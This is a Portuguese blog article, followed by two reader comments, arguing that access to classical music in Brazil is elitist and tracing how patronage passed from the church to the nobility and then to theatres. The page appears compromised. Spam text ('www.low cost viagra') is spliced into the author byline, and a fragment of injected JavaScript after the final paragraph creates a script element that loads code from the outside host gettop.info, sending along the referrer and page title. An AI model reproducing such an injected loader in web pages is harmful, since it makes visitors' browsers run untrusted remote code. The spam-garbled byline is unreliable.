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Os palcos da música erudita

www.low cost viagra Patrícia Luciane de Carvalho, assinante da Orquestra Sinfônica do Estado de São Paulo, é professora de Direito da  Propriedade Intelectual.

Aos interessados em música erudita nos tempos atuais, é necessário que se encontrem em grandes centros [normalmente capitais] ou que acessem canais de televisão [abertos ou fechados]. Esta constatação leva à conclusão de que o acesso a esse estilo musical [sinfonia, ópera, câmera, camerata e solo] encontra-se dificultado, em razão da pouca difusão. Inclusive, o acesso a material de apoio, como livro, revista, CD e DVD, também é dificultado [em que pese a aquisição pela internet], destacadamente porque a comercialização desses produtos acompanha as apresentações que ocorrem nos grandes centros.

Mesmo nos grandes centros, o acesso é dificultado pelos valores das apresentações, eis que predominantemente são onerosas, em que pese algumas exceções referentes às apresentações em espaços públicos, as quais objetivam a exposição aos futuros adeptos desta manifestação cultural [iniciação] ou aos que aproveitam, inerentemente, a gratuidade. Portanto, mesmo nas capitais o acesso predominante é elitizado, primeiro aos que compreendem esta versão cultural, e, segundo, de modo concomitante, aos que podem manter o necessário investimento, seja avulso ou por meio de assinatura.

Interessante observar, historicamente, que nem sempre o acesso foi elitizado. Na realidade, a fase embrionária da música erudita era popular, promovida pela igreja, como meio basilar de manifestação religiosa. E mais, a igreja promoveu os primeiros grandes compositores, musicistas e regentes da música erudita. Por exemplo, a música medieval com o canto gregoriano; a renascentista com os corais ou policorais, destacando-se os madrigais; e  a barroca com as óperas de oratórios [histórias extraídas da Bíblia].

Nestas três fases históricas tem-se a música como base essencial do dia a dia das igrejas e especialmente nas comemorações de datas específicas como o dias santos, Páscoa e Natal. Dia a dia, era destinado à sociedade de modo gratuito. Gratuidade persistente, ainda que os nobres tivessem o direito de se sentarem, enquanto o povo se mantivesse à distância em pé nos fundos da igreja. Esta relação de ordem social, constatada é pelas cartas de Cláudio Monteverdi, quando vinculado à Igreja de San Marcos, em Veneza, ou Antonio Vivaldi, quando vinculado ao Ospedale della Pieta, na mesma cidade. Funções estas que eram exercidas de modo reiterado e remunerado pelos compositores e musicistas da época.

No âmbito da música erudita, através da música clássica, tem-se a transferência, até como rompimento com a tendência anterior, do incentivo e patrocínio da igreja para a nobreza, quando os artistas passam a prestar serviços a determinada família de nobres, de modo exclusivo, ou por encomenda [Haydn, Mozart e Beethoven]. Deste modo, as apresentações públicas e gratuitas cessam e reduzem-se, ficando restrita aos nobres, especificamente para casamentos, aniversários e recepções.

Outra situação que esclarece esta transferência é o quase abandono, pelos compositores da época, dos temas espirituais, voltando-se aos assuntos cotidianos e edílicos, em razão do sentido libertário da sociedade e da nova concepção social de que o homem torna-se o centro das atenções. Destaca-se a fase, da música erudita, romântica e moderna. Diante da nova concepção cultural, a igreja desmotivou-se a contratar e remunerar a música como elemento essencial de suas atividades religiosas. Compositores como Schumann, Liszt, Brahms, Stravinsky, Prokofiev, Debussy, Schoenberg e Ravel passam a ser contratados por teatros, gravadoras, rádios e estúdios cinematográficos.

Hoje, como forma de aumentar o público interessado em música erudita como manifestação cultural, independente de classe social, os grandes centros oferecem apresentações gratuitas ou a preços populares. Além disto, busca aproximar-se deste público por meio da instrução em música erudita. Instrução que envolve a compreensão sobre compositores, composições e instrumentos. Isto, porque reconhece-se que o “conhecer” é necessário à absorção como manifestação cultural e a divulgação deste estilo musical.

É interessante que os grandes centros, por meio de suas fundações, orquestras, câmeras e cameratas, coloquem-se, principalmente, perante estudantes do ensino fundamental e médio, para que estes, naturalmente, tornem-se ouvintes de música erudita, tornando-os o novo púbico consumidor.

Este consumo envolve o desenvolvimento artístico, intelectual, espiritual e social. Recomenda-se que esta sistemática seja adotada pelos programas brasileiros de música erudita, como o faz a Orquestra Sinfônica do Estado de São Paulo e a Orquestra Sinfônica do Paraná, exemplos de sucesso na aproximação com as diversas classes sociais.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);

2 Comments

  1. Cara amiga, não vejo os preços dos ingressos no Brasil como caros. É possível assistir a óperas, concertos e balés no TMSP por R$ 10,00. No Theatro São Pedro /SP o ingresso mais caro custa 30,00. A OSESP tem ingressos nessa faixa de preço. Lembro que no Brasil temos um dos ingressos mais baratos de ópera do mundo.
    Essa arte é e sempre será exclusiva de uma minoria. Alguns que não moram nos grandes centros reclamam com razão da falta dela em suas cidades. Mas é uma arte historicamente minoritaria.

  2. Música clássica é mais barata do que show de música popular e os próprios músicos não ganham tanto dinheiro quanto as estrelas pop.

    E o conceito de que música clássica já foi “popular” precisa ser bem definido: não é por ser produzida pela igreja e apresentada em um contexto litúrgico aberto que essa música se torna popular no seu sentido essencial. A distinção aqui é o popular com uma conotação cultural – coisa que a música clássica nunca foi e é por isso que temos acesso a ela por uma tradição escrita segura e bem guardada – e o popular com uma conotação social/financeira. Hoje em dia o dinheiro não é uma segregação da música clássica – não mais do que qualquer outro estilo do gênero popular, pelo contrário -, mas é evidente que há uma pré-disposição cultural envolvida, e acho que sempre foi assim e sempre vai ser. Resta-nos fiscalizar se os recursos estão disponíveis no nosso meio para os interessados terem uma formação cultural que os inclua no contexto de apreciação desse gênero, e criticar a maneira como isso é feito.

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